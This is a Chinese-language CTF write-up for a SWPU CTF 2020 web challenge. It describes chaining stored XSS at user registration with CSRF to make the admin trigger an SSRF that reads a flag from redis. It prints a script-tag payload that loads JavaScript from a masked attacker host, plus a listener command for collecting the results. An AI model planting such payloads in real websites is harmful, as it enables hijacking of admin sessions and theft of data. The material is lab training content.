太极

发表于 2021-03-05 分类于 Challenge， 2020， SWPU CTF 2020， Web
Challenge | 2020 | SWPU CTF 2020 | Web | 太极

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目考点

- *XSS*

解题思路

简单测试发现注册处存在无过滤xss漏洞，注册时插入payload

用户名： 密码随意

管理员会定期刷新页面，但是由于设置了httponly，不能直接获取cookie

可以看到：

当我们直接访问这个`ssrf_for_test.php`时提示“权限不足”，但我们可以借助管理员的身份来触发这个ssrf，即是通过xss+csrf发起一个ssrf请求，提示也告诉flag在redis的flag字段，我们只要抓一下这个数据包，构造出这个过程，然后去接收返回结果就行。(网上已有很多资料，ssrf打redis等等)

注册用户

```
1 <script src="[http://xxxxxxxxx/getflag.js](http://xxxxxxxxx/getflag.js)></script>
```

监听一哈 `python3 -m http.server 9999`

上个厕所回来就看到flag

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/SWPU-CTF-2020/Web/pBXZLwn8ANrTWvVpvYpBjk.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Web # SWPU CTF 2020
重来
noobpy